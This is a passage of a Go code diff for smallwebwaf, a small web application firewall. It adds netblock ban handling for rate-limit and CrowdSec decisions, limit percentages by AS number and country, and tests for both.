+		rq.alertBan(ban)
+	}
+}
+
+// banForCrowdSec bans the client's netblock at now until decision,
+// CrowdSec's decision on the client, ends. In observe mode it makes no
+// ban, and raises the alert for the ban it would have made, if that alert
+// would be sent.
+func (rq *request) banForCrowdSec(now time.Time, decision reputation.Decision) {
+	netblock := rq.h.netblock(rq.client)
+	if rq.h.config.Observe && !rq.wouldAlertBan(netblock, now, bans.CauseCrowdSec) {
+		return
+	}
+
+	notes := bans.Notes{
+		ASN:        rq.line.ASN,
+		ASName:     rq.line.ASName,
+		Country:    rq.line.Country,
+		Reputation: rq.reputation,
+		Request:    rq.noted(now, rq.h.config.BanResponse),
+		Requests:   rq.netblockRequests(netblock),
+	}
+
+	if rq.h.config.Observe {
+		ban, wouldBan := rq.h.ledger.WouldBanForCrowdSec(netblock, now, decision.Expires,
+			decision.Scenario, notes)
+		if wouldBan {
+			rq.alertBan(ban)
+		}
+
+		return
+	}
+
+	ban, made := rq.h.ledger.BanForCrowdSec(netblock, now, decision.Expires,
+		decision.Scenario, notes)
+	rq.line.BanExpires = banExpires(ban)
+
+	if made {
+		rq.alertBan(ban)
+	}
+}
+
+// wouldAlertBan reports whether the alert for a ban on netblock for cause
+// made at now would be sent. In observe mode the ban the request would
+// have made is worked out only then, at most once per
+// SWWAF_ALERT_COOLDOWN and never with no webhook set: its notes count the
+// netblock's requests, which can mean going through every client.
+func (rq *request) wouldAlertBan(
+	netblock netip.Prefix, now time.Time, cause string,
+) bool {
+	event := alerts.EventBan
+	if rq.h.ledger.WouldBePermanent(netblock, now, cause) {
+		event = alerts.EventPermanentBan
+	}
+
+	return rq.h.alerts.WouldSend(event, netblock)
+}
+
+// alertBan raises the alert for ban, which the request made, or made
+// permanent: permanent_ban for a permanent ban, ban for another. Its
+// detail gives the ban's cause, when it ends, and its notes, and in
+// observe mode, where ban is the ban that would have been made, or made
+// permanent, mode, observe.
+func (rq *request) alertBan(ban bans.Ban) {
+	event := alerts.EventBan
+	if ban.Permanent() {
+		event = alerts.EventPermanentBan
+	}
+
+	detail := map[string]any{
+		"cause": ban.Cause, "ban_expires": banExpires(ban), "notes": ban.Notes,
+	}
+	if rq.h.config.Observe {
+		detail["mode"] = "observe"
+	}
+
+	rq.h.alerts.Raise(alerts.Alert{
+		Event:    event,
+		Host:     rq.site,
+		Client:   rq.client,
+		Netblock: ban.Netblock,
+		ASN:      ban.Notes.ASN,
+		ASName:   ban.Notes.ASName,
+		Country:  ban.Notes.Country,
+		Reason:   ban.Reason,
+		Detail:   detail,
+	})
+}
+
+// noted is the request, at now, with status, what the client was sent, or
+// in observe mode would have been, as the notes of the ban it makes keep
+// it.
+func (rq *request) noted(now time.Time, status int) bans.Request {
+	return bans.Request{
+		Time:      now,
+		Method:    rq.line.Method,
+		Host:      rq.line.Host,
+		Path:      rq.requestURI,
+		Status:    status,
+		UserAgent: rq.line.UserAgent,
+	}
+}
+
+// netblockRequests is how many requests netblock has sent since it was
+// first seen, this one included: the histories count it only once it has
+// ended.
+func (rq *request) netblockRequests(netblock netip.Prefix) int64 {
+	return rq.h.limiter.Requests(netblock) + 1
+}
+
+// netblock is the netblock a ban on client covers: its IPv4 address,
+// widened to SWWAF_BAN_SCOPE_V4_PREFIX, or the IPv6 group clientGroup
+// counts it in.
+func (h *handler) netblock(client netip.Addr) netip.Prefix {
+	addr := client.Unmap()
+	if addr.Is4() {
+		return netip.PrefixFrom(addr, h.config.BanScopeV4Prefix).Masked()
+	}
+
+	return h.clientGroup(addr)
+}
+
+// banExpires is when ban ends, as the log line gives it: a time, or
+// permanent.
+func banExpires(ban bans.Ban) string {
+	if ban.Permanent() {
+		return permanent
+	}
+
+	return requestlog.FormatTime(ban.Expires)
+}

internal/proxy/bans_test.go

@@ -0,0 +1,489 @@
+package proxy_test
+
+import (
+	"bufio"
+	"errors"
+	"io"
+	"maps"
+	"net/http"
+	"net/netip"
+	"reflect"
+	"slices"
+	"strings"
+	"sync"
+	"testing"
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/bans"
+	"sneak.berlin/go/smallwebwaf/internal/proxy"
+	"sneak.berlin/go/smallwebwaf/internal/requestlog"
+)
+
+const (
+	// otherClient is a client next to client.
+	otherClient = "203.0.113.10"
+	// userAgent is the user agent of every request a sender sends.
+	userAgent = "ban-test/1.0"
+	// permanent is the log line's ban_expires for a permanent ban.
+	permanent = "permanent"
+	// banResponseClose is the SWWAF_BAN_RESPONSE that closes the connection.
+	banResponseClose = "close"
+)
+
+func TestBrokenLimitBansTheClient(t *testing.T) {
+	t.Parallel()
+
+	s, clk, _ := startWithClock(t, "", map[string]string{rateLimitPerMinute: "1"})
+	expires := requestlog.FormatTime(clk.Now().Add(time.Hour))
+
+	// The request over the limit of one a minute is refused, and bans the
+	// client for an hour, the default.
+	s.get(client, http.StatusOK, requestlog.ActionForward)
+
+	line := s.get(client, http.StatusForbidden, requestlog.ActionRateLimited)
+	if line.LimitHit != minute || line.Offence != requestlog.OffenceLimit ||
+		line.BanExpires != expires {
+		t.Errorf("log line has limit_hit %q, offence %q and ban_expires %q, "+
+			"want minute, limit and %s", line.LimitHit, line.Offence, line.BanExpires,
+			expires)
+	}
+
+	// Every request while the ban lasts is refused.
+	clk.advance(time.Hour - time.Second)
+
+	line = s.get(client, http.StatusForbidden, requestlog.ActionBanned)
+	if line.BanExpires != expires || line.Offence != "" || line.LimitHit != "" {
+		t.Errorf("log line has ban_expires %q, offence %q and limit_hit %q, "+
+			"want %s and neither of the others", line.BanExpires, line.Offence,
+			line.LimitHit, expires)
+	}
+
+	// Once it ends, the client is let through.
+	clk.advance(time.Second)
+	s.get(client, http.StatusOK, requestlog.ActionForward)
+}
+
+func TestBanLengthsFollowTheSettings(t *testing.T) {
+	t.Parallel()
+
+	s, clk, _ := startWithClock(t, "", map[string]string{
+		rateLimitPerMinute:   "1",
+		limitBanDuration:     "10m",
+		limitBanRepeatWindow: "1h",
+		maxBanDuration:       "1h",
+	})
+
+	// breakLimit has client go over the limit of one a minute, and
+	// returns when the ban that makes ends.
+	breakLimit := func() string {
+		s.get(client, http.StatusOK, requestlog.ActionForward)
+
+		return s.get(client, http.StatusForbidden, requestlog.ActionRateLimited).BanExpires
+	}
+	wantExpires := func(got string, length time.Duration) {
+		t.Helper()
+
+		want := requestlog.FormatTime(clk.Now().Add(length))
+		if got != want {
+			t.Errorf("ban ends at %s, want %s", got, want)
+		}
+	}
+
+	// A first ban lasts SWWAF_LIMIT_BAN_DURATION; one within
+	// SWWAF_LIMIT_BAN_REPEAT_WINDOW after it ended, three times as long.
+	wantExpires(breakLimit(), 10*time.Minute)
+	clk.advance(10*time.Minute + time.Hour)
+	wantExpires(breakLimit(), 30*time.Minute)
+
+	// Later than that, SWWAF_LIMIT_BAN_DURATION again.
+	clk.advance(30*time.Minute + time.Hour + time.Second)
+	wantExpires(breakLimit(), 10*time.Minute)
+	clk.advance(10 * time.Minute)
+	wantExpires(breakLimit(), 30*time.Minute)
+
+	// 90 minutes would be longer than SWWAF_MAX_BAN_DURATION: the ban is
+	// permanent.
+	clk.advance(30 * time.Minute)
+
+	got := breakLimit()
+	if got != permanent {
+		t.Errorf("ban ends at %s, want a permanent one", got)
+	}
+
+	clk.advance(365 * 24 * time.Hour)
+	s.get(client, http.StatusForbidden, requestlog.ActionBanned)
+}
+
+func TestBanIsNotCountedAndResetsTheCounters(t *testing.T) {
+	t.Parallel()
+
+	s, clk, server := startWithClock(t, "", map[string]string{rateLimitPerDay: "2"})
+
+	// The third request in a day is over the limit of two, and bans the
+	// client for an hour.
+	s.get(client, http.StatusOK, requestlog.ActionForward)
+	s.get(client, http.StatusOK, requestlog.ActionForward)
+	s.get(client, http.StatusForbidden, requestlog.ActionRateLimited)
+
+	for range 3 {
+		s.get(client, http.StatusForbidden, requestlog.ActionBanned)
+	}
+
+	// Later the same day the client has its whole allowance again: the
+	// ban set its counters back to zero, and the requests it refused were
+	// not counted for the rate limits, only in its notes.
+	clk.advance(time.Hour)
+	s.get(client, http.StatusOK, requestlog.ActionForward)
+	s.get(client, http.StatusOK, requestlog.ActionForward)
+	s.get(client, http.StatusForbidden, requestlog.ActionRateLimited)
+
+	banned := server.Ledger.Bans(netip.MustParsePrefix(client + "/32"))
+	if len(banned) != 2 || banned[0].Notes.Refused != 3 {
+		t.Errorf("bans %+v, want two, the first with 3 requests refused", banned)
+	}
+}
+
+func TestBanCoversTheClientsNetblock(t *testing.T) {
+	t.Parallel()
+
+	// In the IPv4 cases, client breaks the limit; these two are next to it.
+	const (
+		allowed = "203.0.113.60" // in SWWAF_ALLOW_NETS
+		exempt  = "203.0.113.50" // in SWWAF_RATE_LIMIT_EXEMPT_NETS
+	)
+
+	for _, tc := range []struct {
+		name    string
+		env     map[string]string
+		breaker string // the client that breaks the limit
+		refused []string
+		let     []string // let through
+	}{
+		{
+			"an IPv4 address, by default", nil, client,
+			nil, []string{otherClient, exempt},
+		},
+		{
+			"the IPv4 netblock SWWAF_BAN_SCOPE_V4_PREFIX sets",
+			map[string]string{banScopeV4Prefix: "24"}, client,
+			[]string{otherClient, exempt}, []string{"203.0.112.9", allowed},
+		},
+		{
+			"an IPv6 /64, by default", nil, "2001:db8:5::1",
+			[]string{"2001:db8:5::ffff:1"}, []string{"2001:db8:5:1::1"},
+		},
+		{
+			"the IPv6 netblock SWWAF_IPV6_GROUP_PREFIX sets",
+			map[string]string{ipv6GroupPrefix: "48"}, "2001:db8:7::1",
+			[]string{"2001:db8:7:ffff::1"}, []string{"2001:db8:8::1"},
+		},
+	} {
+		t.Run(tc.name, func(t *testing.T) {
+			t.Parallel()
+
+			env := map[string]string{
+				rateLimitPerMinute:  "1",
+				allowNets:           allowed,
+				rateLimitExemptNets: exempt,
+			}
+			maps.Copy(env, tc.env)
+			s, _, _ := startWithClock(t, "", env)
+
+			s.get(tc.breaker, http.StatusOK, requestlog.ActionForward)
+			s.get(tc.breaker, http.StatusForbidden, requestlog.ActionRateLimited)
+
+			for _, sent := range tc.refused {
+				s.get(sent, http.StatusForbidden, requestlog.ActionBanned)
+			}
+
+			for _, sent := range tc.let {
+				s.get(sent, http.StatusOK, requestlog.ActionForward)
+			}
+		})
+	}
+}
+
+func TestBannedClientIsRefusedBeforeItsCountryIsLookedUp(t *testing.T) {
+	t.Parallel()
+
+	geojsURL, asked := startGeoJS(t)
+	s, _, _ := startWithClock(t, geojsURL, map[string]string{
+		lookupTimeout:      "1h",
+		rateLimitPerMinute: "1",
+		banScopeV4Prefix:   "24",
+		deniedCountries:    "kp",
+	})
+
+	// fromDE's ban covers otherClient, which is refused unasked about.
+	s.get(fromDE, http.StatusOK, requestlog.ActionForward)
+	s.get(fromDE, http.StatusForbidden, requestlog.ActionRateLimited)
+
+	line := s.get(otherClient, http.StatusForbidden, requestlog.ActionBanned)
+	if line.Country != "" {
+		t.Errorf("log line has country %q, want none", line.Country)
+	}
+
+	if !slices.Equal(asked(), []string{fromDE}) {
+		t.Errorf("GeoJS was asked about %v, want %s alone", asked(), fromDE)
+	}
+}
+
+func TestBanResponseAnswersEveryRefusalButTheSizeLimits(t *testing.T) {
+	t.Parallel()
+
+	const denied = "192.0.2.50" // in SWWAF_DENY_NETS
+
+	for _, tc := range []struct {
+		setting string // "" leaves SWWAF_BAN_RESPONSE at its default
+		status  int    // 0 is the connection closed without an answer
+	}{
+		{"", http.StatusForbidden},
+		{"403", http.StatusForbidden},
+		{"429", http.StatusTooManyRequests},
+		{banResponseClose, 0},
+	} {
+		t.Run(banResponse+"="+tc.setting, func(t *testing.T) {
+			t.Parallel()
+
+			geojsURL, _ := startGeoJS(t)
+			env := map[string]string{
+				lookupTimeout:      "1h",
+				rateLimitPerMinute: "1",
+				denyNets:           denied,
+				deniedCountries:    "kp",
+			}
+
+			if tc.setting != "" {
+				env[banResponse] = tc.setting
+			}
+
+			s, _, _ := startWithClock(t, geojsURL, env)
+
+			s.get(denied, tc.status, requestlog.ActionDenied)
+			s.get(fromKP, tc.status, requestlog.ActionCountryDenied)
+			s.get(fromDE, http.StatusOK, requestlog.ActionForward)
+			s.get(fromDE, tc.status, requestlog.ActionRateLimited)
+			s.get(fromDE, tc.status, requestlog.ActionBanned)
+		})
+	}
+}
+
+func TestBanNotes(t *testing.T) {
+	t.Parallel()
+
+	geojsURL, _ := startGeoJS(t)
+	s, clk, server := startWithClock(t, geojsURL, map[string]string{
+		lookupTimeout:      "1h",
+		rateLimitPerMinute: "1",
+		deniedCountries:    "kp",
+	})
+	start := clk.Now()
+
+	s.get(fromDE, http.StatusOK, requestlog.ActionForward)
+	s.request(fromDE, "/repo/commits?page=2",
+		http.StatusForbidden, requestlog.ActionRateLimited)
+	s.get(fromDE, http.StatusForbidden, requestlog.ActionBanned)
+	s.get(fromDE, http.StatusForbidden, requestlog.ActionBanned)
+
+	netblock := netip.MustParsePrefix(fromDE + "/32")
+	want := bans.Ban{
+		Netblock: netblock,
+		Start:    start,
+		Expires:  start.Add(time.Hour),
+		Cause:    bans.CauseLimit,
+		Reason:   "requests per minute over the limit of 1",
+		Notes: bans.Notes{
+			ASN:     asnDE,
+			ASName:  asNameDE,
+			Country: "DE",
+			Kind:    "requests",
+			Limit:   1,
+			Window:  minute,
+			Count:   2,
+			Request: bans.Request{
+				Time:      start,
+				Method:    http.MethodGet,
+				Host:      appHost,
+				Path:      "/repo/commits?page=2",
+				Status:    http.StatusForbidden,
+				UserAgent: userAgent,
+			},
+			// The one let through, the one that broke the limit and the two
+			// refused under the ban.
+			Requests:    4,
+			Refused:     2,
+			EarlierBans: bans.EarlierBans{},
+		},
+	}
+
+	ledger := server.Ledger
+
+	got := ledger.Bans(netblock)
+	if len(got) != 1 || !reflect.DeepEqual(got[0], want) {
+		t.Fatalf("bans\n%+v\nwant\n%+v", got, want)
+	}
+
+	// The next ban counts this one among the earlier.
+	clk.advance(time.Hour)
+	s.get(fromDE, http.StatusOK, requestlog.ActionForward)
+	s.get(fromDE, http.StatusForbidden, requestlog.ActionRateLimited)
+
+	got = ledger.Bans(netblock)
+	if len(got) != 2 || got[1].Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
+		t.Errorf("bans %+v, want two, the second with one earlier ban for a limit", got)
+	}
+}
+
+func TestMaxBansDropsTheBanOfTheNetblockSeenLongestAgo(t *testing.T) {
+	t.Parallel()
+
+	s, _, _ := startWithClock(t, "", map[string]string{
+		rateLimitPerMinute: "1",
+		maxBans:            "1",
+	})
+
+	// One ban is held, so otherClient's ban drops client's.
+	s.get(client, http.StatusOK, requestlog.ActionForward)
+	s.get(client, http.StatusForbidden, requestlog.ActionRateLimited)
+	s.get(otherClient, http.StatusOK, requestlog.ActionForward)
+	s.get(otherClient, http.StatusForbidden, requestlog.ActionRateLimited)
+
+	s.get(client, http.StatusOK, requestlog.ActionForward)
+	s.get(otherClient, http.StatusForbidden, requestlog.ActionBanned)
+}
+
+// clock is the time a test sets, by which smallwebwaf counts requests and
+// makes bans.
+type clock struct {
+	mu  sync.Mutex
+	now time.Time
+}
+
+// Now tells the time.
+func (c *clock) Now() time.Time {
+	c.mu.Lock()
+	defer c.mu.Unlock()
+
+	return c.now
+}
+
+// advance moves the clock on by d.
+func (c *clock) advance(d time.Duration) {
+	c.mu.Lock()
+	defer c.mu.Unlock()
+
+	c.now = c.now.Add(d)
+}
+
+// startWithClock starts servewaf, and rproxy in front of an app that answers 200,
+// with the settings in env on top of trusting localhost's
+// X-Forwarded-For, clients' AS numbers and countries looked up at
+// geojsURL, and a clock set to midnight, the start of a bucket in every
+// window.
+func startWithClock(
+	t *testing.T, geojsURL string, env map[string]string,
+) (*sender, *clock, *proxy.Server) {
+	t.Helper()
+
+	app := startApp(t, func(http.ResponseWriter, *http.Request) {})
+	clk := &clock{now: time.Date(2026, 10, 6, 0, 0, 0, 0, time.UTC)}
+	settings := map[string]string{trustedProxies: trustLocalhost}
+	maps.Copy(settings, env)
+
+	addr, out, server := startProxyWithClock(t, app.URL, geojsURL, clk.Now, settings)
+
+	return &sender{t: t, addr: addr, serveWAFAddr: server.Addr, out: out}, clk, server
+}
+
+// sender sends requests to rproxy one after another, each on a connection of its
+// own, and checks each one's answer and log line. serveWAFAddr is where servewaf's
+// own endpoints are, which adminRequest asks. Every request servewaf gets must
+// come through the sender, since the log lines are matched to them in order.
+type sender struct {
+	t            *testing.T
+	addr         string
+	serveWAFAddr string
+	out          *output
+	sent         int
+}
+
+// get sends a GET request for / from the client at from.
+func (s *sender) get(from string, status int, action string) logLine {
+	s.t.Helper()
+
+	return s.request(from, "/", status, action)
+}
+
+// request sends a GET request for path from the client at from, as
+// X-Forwarded-For names it, and checks that its answer and its log line
+// have status, 0 for the connection closed without an answer, and that
+// the line has action. It returns the log line.
+func (s *sender) request(from, path string, status int, action string) logLine {
+	s.t.Helper()
+
+	return s.requestWithHeader(from, path, "", status, action)
+}
+
+// requestWithHeader is request with header, such as "Authorization:
+// Bearer x", added to the request unless it is "".
+func (s *sender) requestWithHeader(
+	from, path, header string, status int, action string,
+) logLine {
+	s.t.Helper()
+
+	line, _ := s.requestWithBody(http.MethodGet, from, path, header, "", status, action)
+
+	return line
+}
+
+// requestWithBody is requestWithHeader for a request with method, whose
+// body is sent as it is after the headers, header holding its
+// Content-Length or Transfer-Encoding. header may hold several lines,
+// separated by "\r\n". It returns the whole answer.
+func (s *sender) requestWithBody(
+	method, from, path, header, body string, status int, action string,
+) (logLine, answer) {
+	s.t.Helper()
+
+	if header != "" {
+		header += "\r\n"
+	}
+
+	// rproxy refuses a request with more than one.
+	if !strings.Contains(header, "User-Agent:") {
+		header += "User-Agent: " + userAgent + "\r\n"
+	}
+
+	conn := dial(s.t, s.addr)
+	send(s.t, conn, method+" "+path+" HTTP/1.1\r\nHost: "+appHost+"\r\n"+
+		forwardedFor+": "+from+"\r\n"+header+"\r\n"+body)
+
+	err := conn.SetReadDeadline(time.Now().Add(waitLimit))
+	if err != nil {
+		s.t.Fatalf("set read deadline: %v", err)
+	}
+
+	var got answer
+
+	res, err := http.ReadResponse(bufio.NewReader(conn), nil)
+
+	switch {
+	case err == nil:
+		got = readAnswer(res)
+	case !errors.Is(err, io.ErrUnexpectedEOF):
+		s.t.Fatalf("read response: %v", err)
+	}
+
+	_ = conn.Close()
+
+	if got.status != status {
+		s.t.Errorf("request %d, from %s: status %d, want %d", s.sent+1, from,
+			got.status, status)
+	}
+
+	line := s.out.endedLines(s.t, s.sent+1)[s.sent]
+	s.sent++
+	wantLine(s.t, line, status, action)
+
+	return line, got
+}

internal/proxy/biased.go

@@ -0,0 +1,119 @@
+package proxy
+
+import (
+	"sneak.berlin/go/smallwebwaf/internal/config"
+)
+
+// whole is the percentage of each limit a client gets when no biased
+// threshold lowers its limits.
+const whole = 100
+
+// percentage is a client's limit percentage for the rate limits or for
+// the byte limits, as the biased thresholds give it, and the setting that
+// gave it: "" with whole when none lowers that kind of limit.
+type percentage struct {
+	percent int64
+	setting string
+}
+
+// biasedThresholdsSet reports whether a biased threshold can lower a
+// client's limits: one of its lists is not empty,
+// SWWAF_UNKNOWN_LIMIT_PERCENT is below 100, or SWWAF_ASN_LIMIT_PERCENT_URL
+// is set. The client's lookup is then needed before its request goes on.
+func biasedThresholdsSet(cfg *config.Config) bool {
+	return len(cfg.ASNLimitPercent) > 0 || len(cfg.CountryLimitPercent) > 0 ||
+		len(cfg.ASNBytesPercent) > 0 || len(cfg.CountryBytesPercent) > 0 ||
+		cfg.UnknownLimitPercent < whole || cfg.ASNLimitPercentURL != ""
+}
+
+// limitPercentages returns the client's limit percentages, for the rate
+// limits and for the byte limits, by its AS number and country as looked
+// up, each "" when unknown, and the blocklists, DNSBL zones and AbuseIPDB
+// that list it. Each is the lowest of those the settings give it, the
+// first of them in the order below when several are lowest: the
+// percentage SWWAF_ASN_LIMIT_PERCENT gives its AS number, the one the file
+// SWWAF_ASN_LIMIT_PERCENT_URL names gives it, the one
+// SWWAF_COUNTRY_LIMIT_PERCENT gives its country, for a client without a
+// country, unless its request skipped the wait for GeoJS,
+// SWWAF_UNKNOWN_LIMIT_PERCENT, for a client a blocklist lists, the
+// percentage of SWWAF_BLOCKLIST_ACTION while it is limit, and for a client
+// a DNSBL zone's verdict lists, or whose AbuseIPDB score is a hit, the
+// percentage of SWWAF_REPUTATION_ACTION while it is limit. For the byte
+// limits, SWWAF_ASN_BYTES_PERCENT and SWWAF_COUNTRY_BYTES_PERCENT take the
+// place of the first three for an AS number or a country they list.
+func (rq *request) limitPercentages() (percentage, percentage) {
+	cfg := rq.h.config
+	asn, country := rq.line.ASN, rq.line.Country
+
+	unknown := percentage{percent: whole}
+	if country == "" && !rq.skippedLookupWait {
+		unknown = percentage{cfg.UnknownLimitPercent, "SWWAF_UNKNOWN_LIMIT_PERCENT"}
+	}
+
+	fetched := percentage{percent: whole}
+	if percent, listed := rq.h.lists.ASNLimitPercent(asn); listed {
+		fetched = percentage{percent, "SWWAF_ASN_LIMIT_PERCENT_URL"}
+	}
+
+	blocklisted := percentage{percent: whole}
+	if rq.blocklisted && cfg.BlocklistAction == "limit" {
+		blocklisted = percentage{cfg.BlocklistLimitPercent, "SWWAF_BLOCKLIST_ACTION"}
+	}
+
+	reputationListed := percentage{percent: whole}
+	if (rq.dnsblListed || rq.abuseIPDBHit) && cfg.ReputationAction == "limit" {
+		reputationListed = percentage{cfg.ReputationLimitPercent, "SWWAF_REPUTATION_ACTION"}
+	}
+
+	asnRequests := lowest(given(cfg.ASNLimitPercent, asn, "SWWAF_ASN_LIMIT_PERCENT"),
+		fetched)
+	countryRequests := given(cfg.CountryLimitPercent, country,
+		"SWWAF_COUNTRY_LIMIT_PERCENT")
+
+	asnBytes, countryBytes := asnRequests, countryRequests
+	if _, listed := cfg.ASNBytesPercent[asn]; listed {
+		asnBytes = given(cfg.ASNBytesPercent, asn, "SWWAF_ASN_BYTES_PERCENT")
+	}
+
+	if _, listed := cfg.CountryBytesPercent[country]; listed {
+		countryBytes = given(cfg.CountryBytesPercent, country, "SWWAF_COUNTRY_BYTES_PERCENT")
+	}
+
+	return lowest(asnRequests, countryRequests, unknown, blocklisted, reputationListed),
+		lowest(asnBytes, countryBytes, unknown, blocklisted, reputationListed)
+}
+
+// given returns the percentage percents, the setting named setting, gives
+// code, an AS number or a country, or whole when it does not list code.
+func given(percents map[string]int64, code, setting string) percentage {
+	percent, listed := percents[code]
+	if !listed {
+		return percentage{percent: whole}
+	}
+
+	return percentage{percent, setting}
+}
+
+// lowest returns the lowest of percentages below whole, the first of them
+// when several are lowest, or whole when none is below it.
+func lowest(percentages ...percentage) percentage {
+	low := percentage{percent: whole}
+
+	for _, p := range percentages {
+		if p.percent < low.percent {
+			low = p
+		}
+	}
+
+	return low
+}
+
+// logged returns p as the log line and the notes of a ban give it: its
+// percent and setting, or nil and "" for whole, which they leave out.
+func (p percentage) logged() (*int64, string) {
+	if p.percent == whole {
+		return nil, ""
+	}
+
+	return &p.percent, p.setting
+}

internal/proxy/biased_test.go

@@ -0,0 +1,499 @@
+package proxy_test
+
+import (
+	"fmt"
+	"io"
+	"maps"
+	"net/http"
+	"net/http/httptest"
+	"net/netip"
+	"path/filepath"
+	"strings"
+	"testing"
+	"testing/synctest"
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/alerts"
+	"sneak.berlin/go/smallwebwaf/internal/bans"
+	"sneak.berlin/go/smallwebwaf/internal/lookup/lookuptest"
+	"sneak.berlin/go/smallwebwaf/internal/proxy"
+	"sneak.berlin/go/smallwebwaf/internal/requestlog"
+)
+
+// The biased thresholds.
+const (
+	asnLimitPercent     = "SWWAF_ASN_LIMIT_PERCENT"
+	countryLimitPercent = "SWWAF_COUNTRY_LIMIT_PERCENT"
+	asnBytesPercent     = "SWWAF_ASN_BYTES_PERCENT"
+	countryBytesPercent = "SWWAF_COUNTRY_BYTES_PERCENT"
+	unknownLimitPercent = "SWWAF_UNKNOWN_LIMIT_PERCENT"
+)
+
+const (
+	// asnDEHalf and countryDEHalf give fromDE's AS number and its country
+	// half of every limit, and asnDEQuarter gives its AS number a quarter.
+	asnDEHalf     = asnDE + ":50"
+	asnDEQuarter  = asnDE + ":25"
+	countryDEHalf = "de:50"
+	// noCountry is in an AS of its own, AS64500, and in no country.
+	noCountry = "192.0.2.80"
+	// fourAMinute is the rate limit these tests set: half of it is 2
+	// requests a minute, a quarter of it 1.
+	fourAMinute = "4"
+	// twoUploads is the byte limit these tests set: 199 bytes, which an
+	// upload, a request with a body and its answer, 100 bytes, is within,
+	// and half of which, 99 bytes, it is over.
+	twoUploads = "199"
+	// none is how percentText gives a percentage left out.
+	none = "none"
+)
+
+func TestEachBiasedThresholdLowersTheRateLimits(t *testing.T) {
+	t.Parallel()
+
+	for _, tc := range []struct {
+		setting, value, from string
+	}{
+		{asnLimitPercent, asnDEHalf, fromDE},
+		{countryLimitPercent, countryDEHalf, fromDE},
+		{unknownLimitPercent, "50", unplaced},
+	} {
+		t.Run(tc.setting, func(t *testing.T) {
+			t.Parallel()
+
+			s, _, _ := startWithLookups(t, map[string]string{
+				rateLimitPerMinute: fourAMinute, tc.setting: tc.value,
+			})
+
+			// Half of 4 requests a minute: the third breaks the limit.
+			for _, sent := range []struct {
+				status int
+				action string
+			}{
+				{http.StatusOK, requestlog.ActionForward},
+				{http.StatusOK, requestlog.ActionForward},
+				{http.StatusForbidden, requestlog.ActionRateLimited},
+			} {
+				line := s.get(tc.from, sent.status, sent.action)
+				wantPercent(t, "limit_percent", line.LimitPercent, line.LimitPercentSetting,
+					"50 from "+tc.setting)
+			}
+
+			// fromKP, which no setting lists, has the whole limit.
+			for range 3 {
+				line := s.get(fromKP, http.StatusOK, requestlog.ActionForward)
+				wantPercent(t, "limit_percent", line.LimitPercent, line.LimitPercentSetting,
+					none)
+			}
+		})
+	}
+}
+
+func TestEachBiasedThresholdLowersTheByteLimits(t *testing.T) {
+	t.Parallel()
+
+	// The AS numbers and countries are given in either case.
+	for _, tc := range []struct {
+		setting, value, from string
+	}{
+		{asnLimitPercent, asnDEHalf, fromDE},
+		{countryLimitPercent, "DE:50", fromDE},
+		{unknownLimitPercent, "50", unplaced},
+		{asnBytesPercent, "as64496:50", fromDE},
+		{countryBytesPercent, countryDEHalf, fromDE},
+	} {
+		t.Run(tc.setting, func(t *testing.T) {
+			t.Parallel()
+
+			s, _, _ := startWithLookups(t, map[string]string{
+				bytesLimitPerMinute: twoUploads, tc.setting: tc.value,
+			})
+
+			// The upload's 100 bytes are over half of 199, 99.
+			line := s.uploadFrom(tc.from)
+			if line.LimitHit != minuteBytes {
+				t.Errorf("log line has limit_hit %q, want %s", line.LimitHit, minuteBytes)
+			}
+
+			wantPercent(t, "bytes_percent", line.BytesPercent, line.BytesPercentSetting,
+				"50 from "+tc.setting)
+
+			// fromKP, which no setting lists, has the whole limit.
+			line = s.uploadFrom(fromKP)
+			if line.LimitHit != "" {
+				t.Errorf("log line for %s has limit_hit %q, want none", fromKP, line.LimitHit)
+			}
+
+			wantPercent(t, "bytes_percent", line.BytesPercent, line.BytesPercentSetting, none)
+		})
+	}
+}
+
+func TestBytesPercentSettingsTakeThePlaceOfTheOthersForByteLimits(t *testing.T) {
+	t.Parallel()
+
+	for _, tc := range []struct {
+		name string
+		env  map[string]string
+		// limitPercent and bytesPercent are the log line's, as percentText
+		// gives them, and limitHit is its limit_hit.
+		limitPercent, bytesPercent, limitHit string
+	}{
+		{
+			"lowering the byte limits alone",
+			map[string]string{asnBytesPercent: asnDEHalf},
+			none, "50 from " + asnBytesPercent, minuteBytes,
+		},
+		{
+			"lowering the byte limits alone, by country",
+			map[string]string{countryBytesPercent: countryDEHalf},
+			none, "50 from " + countryBytesPercent, minuteBytes,
+		},
+		{
+			"raising the byte limits back",
+			map[string]string{asnLimitPercent: asnDEHalf, asnBytesPercent: asnDE + ":100"},
+			"50 from " + asnLimitPercent, none, "",
+		},
+		{
+			"raising the byte limits back, by country",
+			map[string]string{countryLimitPercent: countryDEHalf, countryBytesPercent: "de:100"},
+			"50 from " + countryLimitPercent, none, "",
+		},
+	} {
+		t.Run(tc.name, func(t *testing.T) {
+			t.Parallel()
+
+			env := map[string]string{bytesLimitPerMinute: twoUploads}
+			maps.Copy(env, tc.env)
+			s, _, _ := startWithLookups(t, env)
+
+			// The upload's 100 bytes are over 99, half of 199, and within 199.
+			line := s.uploadFrom(fromDE)
+			if line.LimitHit != tc.limitHit {
+				t.Errorf("log line has limit_hit %q, want %q", line.LimitHit, tc.limitHit)
+			}
+
+			wantPercent(t, "limit_percent", line.LimitPercent, line.LimitPercentSetting,
+				tc.limitPercent)
+			wantPercent(t, "bytes_percent", line.BytesPercent, line.BytesPercentSetting,
+				tc.bytesPercent)
+		})
+	}
+}
+
+func TestZeroPercentIsAZeroAllowance(t *testing.T) {
+	t.Parallel()
+
+	s, _, _ := startWithLookups(t, map[string]string{asnLimitPercent: asnDE + ":0"})
+
+	// The first request breaks the limit, and bans the client; the log line
+	// gives the 0.
+	line := s.get(fromDE, http.StatusForbidden, requestlog.ActionRateLimited)
+	if line.fields["limit_percent"] != float64(0) ||
+		line.fields["limit_percent_setting"] != asnLimitPercent {
+		t.Errorf("log line has limit_percent %v from %v, want 0 from %s",
+			line.fields["limit_percent"], line.fields["limit_percent_setting"],
+			asnLimitPercent)
+	}
+
+	s.get(fromDE, http.StatusForbidden, requestlog.ActionBanned)
+}
+
+func TestLowestPercentageApplies(t *testing.T) {
+	t.Parallel()
+
+	for _, tc := range []struct {
+		name string
+		env  map[string]string
+		from string
+		// want is the log line's limit_percent, as percentText gives it.
+		want string
+	}{
+		{
+			"the country's",
+			map[string]string{asnLimitPercent: asnDEHalf, countryLimitPercent: "de:25"},
